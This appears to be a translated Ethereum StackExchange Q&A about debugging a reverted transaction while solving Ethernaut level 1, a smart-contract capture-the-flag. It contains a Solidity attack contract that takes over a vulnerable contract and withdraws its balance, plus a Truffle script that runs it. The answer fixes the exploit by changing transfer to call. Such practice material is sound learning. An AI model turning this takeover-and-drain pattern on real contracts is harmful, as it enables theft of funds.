Truffle

我怎樣才能弄清楚為什麼交易被恢復()

  • July 10, 2022

我在玩 Ethernaut 1 級:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Level1 {
   function withdraw() external;
   function contribute() external payable;
}

contract AttackLevel1 {
   Level1 private level1;

   constructor() {
       level1 = Level1(0x7717554cE81f6255D223e64f6cA9ABF4c131e4cf);
   }

   receive() external payable {}

   function attack() external payable {
       level1.contribute{value: 0.0001 ether}();
       payable(address(level1)).transfer(0.0001 ether);

       level1.withdraw();
       payable(msg.sender).transfer(address(this).balance);
   }
}

在松露中我有

require('dotenv').config()
let privateKey = process.env["RINKEBY_PRIVATE_KEY"]
let account = web3.eth.accounts.privateKeyToAccount(privateKey)

async function main () {
   let AttackLevel1 = artifacts.require("AttackLevel1")
   let AttackLevel1Deployed = await AttackLevel1.deployed()

   await AttackLevel1Deployed.send(web3.utils.toWei("0.001", "ether"))
   
   await AttackLevel1Deployed.methods['attack()'].sendTransaction({
       value: web3.utils.toWei("0.001", "ether")
   })
   
   let balance = await web3.eth.getBalance(account)
   console.log(balance.toString())
}

module.exports = async function(callback) {
   await main()
   callback()
}

但交易被撤銷:https ://rinkeby.etherscan.io/tx/0x89ff86a785a7f144a08bc9aebae95fcde8eaaa25cbf8c630a5499c37e0b2a2ec#internal

UI 上的日誌沒有顯示任何有用的資訊,我該如何找出原因?

合約呼叫返回的交易回調應該為您提供更多資訊。但是,tenderly是一個非常有用的用於調試鏈上交易的網站。這表明你的電話沒電了

payable(address(level1)).transfer(0.0001 ether);有氣體問題,否則它會與模式一起工作(bool ok,) = address(level1).call{value: 0.0001 ether}("");

轉移現在也被棄用了。

我嘗試了混音,而您的契約與更改的那一行一起工作。我應該說程式碼按預期執行和執行,但不會通過關卡,因為攻擊合約是目標/關卡合約的所有者而不是玩家。您只需使用控制台命令即可通過此級別

引用自:https://ethereum.stackexchange.com/questions/131479